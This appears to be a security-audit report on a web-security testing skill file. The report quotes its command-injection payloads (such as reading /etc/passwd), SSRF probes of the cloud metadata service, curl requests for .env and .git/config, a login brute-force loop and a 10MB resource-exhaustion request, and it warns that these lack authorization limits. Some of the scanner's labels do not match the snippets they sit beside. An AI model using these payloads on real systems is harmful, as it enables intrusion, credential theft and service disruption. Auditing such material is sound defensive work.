T09 · Insecure Skill Coding Practices
- Location
references/api-security.md:31- Finding
Unbounded High-Impact and Disruptive Security Testing Procedures
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
This is a web security testing skill, but it includes potentially disruptive exploit-style commands without enough authorization, scope, or safety controls.
Install only if you will use it for systems you own or are explicitly authorized to test. Before running any commands, define the exact target scope, use test accounts and staging environments where possible, avoid destructive payloads and cloud metadata probes unless separately approved, set conservative request limits, and redact tokens, credentials, personal data, and configuration output from logs and reports.
references/api-security.md:31Unbounded High-Impact and Disruptive Security Testing Procedures
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# Command Injection (CWE-78)
CMD_PAYLOADS=(
'; ls -la'
'| cat /etc/passwd'
'$(whoami)'
'`id`'
)
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
python3 -c "print('{"data":"' + 'A'*10000000 + '"}')" |
curl -X POST -d @- -H "Content-Type: application/json" "$URL/api/upload"
The file includes a direct SSRF payload targeting the cloud metadata service at 169.254.169.254/latest/meta-data/. Even as reference content, this is a sensitive exploitation target commonly used to retrieve cloud instance credentials, so including it without restrictions materially increases misuse risk.
SSRF_PAYLOADS=(
"http://127.0.0.1:80"
"http://localhost:22"
"http://169.254.169.254/latest/meta-data/" # AWS metadata
"http://[::1]:80"
"http://0x7f000001"
)
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# Check for common misconfigurations
curl -s "$URL/robots.txt"
curl -s "$URL/.env"
curl -s "$URL/.git/config"
curl -s "$URL/server-status"
curl -s "$URL/phpinfo.php"
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
# Brute force protection (OWASP-AT-004)
for i in $(seq 1 20); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$URL/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"wrong$i\"}")
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
# Try adding extra fields in request
curl -X PUT "$URL/api/users/me" \
-H "Content-Type: application/json" \
-d '{"name":"test", "role":"admin", "isVerified":true, "balance":999999}'
# Verify: role, isVerified, balance should NOT be changed
This section includes rate-limit and resource-consumption abuse tests, including repeated requests and a 10MB payload, but provides no explicit warning to use them only on authorized non-production targets or to control test intensity. In a reusable skill/reference file, omission of safety guardrails increases the chance of accidental service degradation or disruption when copied by users.
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
python3 -c "print('{"data":"' + 'A'*10000000 + '"}')" |
curl -X POST -d @- -H "Content-Type: application/json" "$URL/api/upload"
The SSRF and GraphQL sections provide concrete attack payloads and resource-exhaustion test ideas, including cloud metadata access and batch/nested query abuse, without any safety or authorization constraints. In this context, the content meaningfully lowers the barrier to executing harmful tests against real systems and could facilitate unauthorized probing or denial of service.
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
# Decode JWT (without verification)
echo "$JWT" | python3 -c "
import sys, base64, json
token = sys.stdin.read().strip()
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
# Introspection query (should be disabled in production)
curl -X POST "$URL/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}'
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
# Test rate limiting on sensitive endpoints
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}" "$URL/api/forgot-password" \
-d '{"email":"test@example.com"}'
echo " (attempt $i)"
done